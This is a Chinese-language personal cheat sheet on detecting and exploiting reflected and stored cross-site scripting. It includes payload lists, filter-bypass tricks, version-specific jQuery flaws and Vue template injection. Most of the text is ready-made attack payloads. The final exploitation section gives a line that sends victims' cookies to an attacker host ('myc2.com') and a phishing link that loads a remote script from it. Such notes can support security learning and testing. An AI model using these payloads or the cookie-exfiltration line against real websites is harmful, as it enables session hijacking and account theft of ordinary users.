前言
本文叙述了反射型、存储型XSS的探测方法和简单的利用方式,其中会涉及到jQuery和vue。
这篇文章作为个人笔记,因此内容可能并不全面,日后有接触新的方法会有补充。
探测方法
寻找xss需要查看网站源码,跟踪用户输入的变量,检查变量传递过程是否能够触发漏洞,过滤是否能绕过,现在的网站为了安全不会在标签处通过事件直接引用js function,而是在另外的js文件中通过框架找到元素再跟事件函数绑定,例如jQuery的选择器:$("input").on(change:function(){alert(1);});,vue的选择器:new Vue({el:"input",data:{msg:alert(1),}});,因此需要花时间去看js源码,研究如何将利用语句拼接到网页的js中。
首先输入特殊/敏感字符,探测过滤情况:
<script></script>"'();,.<img>#-{}[]!
根据结果挑选payload开始注入:
——普通
<script>[xss]</script>
——img标签,单引号或双引号
<img src="" οnerrοr="[xss]"/>
——无需括号、分号
<script>οnerrοr={[要调用的函数名]}throw [参数]</script>
——无需字母(运行函数为alert(1))
""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]](((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(1)")()
——svg标签
<svg/οnlοad=[xss]>
——ifname标签
<iframe οnlοad=[xss]>
——a标签,无需分号
<a href=javascript:[xss]>
——通过样式进行xss,IE7以下适用
<div STYLE="width: expression([xss]);">
——也是通过样式进行xss,这次是通过import加载远程css
<style>@import url("attackers url");</style>
——无触发点用accesskey,在火狐下hidden属性的input也可以用,通过alt+shift+x快捷键触发
<span id="span" accesskey='X' οnclick='[xss]'></span>
反射型:
特征:不会保存到服务器,是一次性的攻击。
反射型的xss可以出现在页面的任何地方,包括请求头。
存储型:
特征:语句保存在服务器的数据库中,每次访问都会给客户端带来攻击。
这种类型的xss只会出现在服务端存储客户端发送的数据的接口。
jQuery:
jq是通过正则来过滤xss语句的,其中:
1.6.1版本:quickExpr = /^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/
1.7.2版本:quickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/
1.11.2版本:rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/
2.x~2.1.4版本:rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/
3.x~3.5.0版本:rxhtmlTag =/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi
在<1.7版本中location.hash这部分jq没有对其进行url编码处理,存在xss,payload如下:
#<img src=/ οnerrοr=alert(1)>
#任意标签[class='<img src=/ οnerrοr=alert(1)>']
3.x~3.5.0版本的xss则出现在$.htmlPrefilter()方法中,这个方法被用来替换闭合标签,其中的正则rxhtmlTag会将x"识别成标签并且新增</x">闭合,最后payload作为属性出现,绕过了sanitize规则,从而造成xss,payload:
<img alt="<x" title="/><img src=xοnerrοr=alert(1)>
vue:
vue框架下的xss主要出现在v-html和{{}}下,前者用于输出html,后者则是mustache语法,看下面的例子,vue通过选择器el更改attackOne和attackTwo的内容,如果没限制attackOne的输入就会造成模板注入,而v-html则会直接渲染attackTwo,用户可控的话会造成xss。
<div name="test"> {{attackOne}} <span v-html="attackTwo"></span> </div> <script> new Vue({ el: "div[name='test']", data:{ attackOne:alert(1), attackTwo:"<img src=x οnerrοr=alert(2) />", } }); </script>
绕过
这里以a标签和经典的script标签为例,payload原型如下:
<script>alert('xss')</script>
下面是一些绕过的姿势:
//字符编码
%3cscript%3ealert(/xss/)%3c/script%3e
//长度限制
<script><!--
-->alert(1)<!--
--></script>
//双写绕过
<scr<script>ipt>alert('xss')</sc</script>ript>
//大小写绕过
<ScRipT>alert('xss')</sCRiPt>
//尝试其他标签、属性、事件
<img src="" οnerrοr="alert('xss')"/>
<div STYLE="width: expression('xss');">
<iframe οnlοad='xss'>
//伪协议
<a href=javascript:alert('xss')>
//过滤圆括号
<a οnmοuseοver="javascript:window.οnerrοr=alert;throw 1">
<body/οnlοad=javascript:window.οnerrοr=eval;throw'=alert\x281\x29';
//过滤();:
<svg><script>alert(/1/)</script>
//标签语法bug,<%, <//, <!,<?<%, <//, <!,<?能被解析成<
<!--[if]><script>alert('xss')</script -->
//空字节绕过
<scri\x00pt>alert('xss');</scri%00pt>
<scri%00pt>alert('xss');</scri%00pt>
//window.name欺骗
<iframesrc=' http://www.target.com?foo="xss autofocus/AAAAA οnfοcus=location=window.name//'
name="javascript:alert("XSS")"></iframe>
利用
窃取cookie,原理是获取客户端cookie然后直接发送到攻击者的c2:
document.location='http://myc2.com/getcookie?jcookie='+encodeURI(document.cookie);
钓鱼,其实就是让受害点击链接跳转到攻击者搭建的网站:
http://target.com/login?id=<script src='http://myc2.com/payload.js'></script>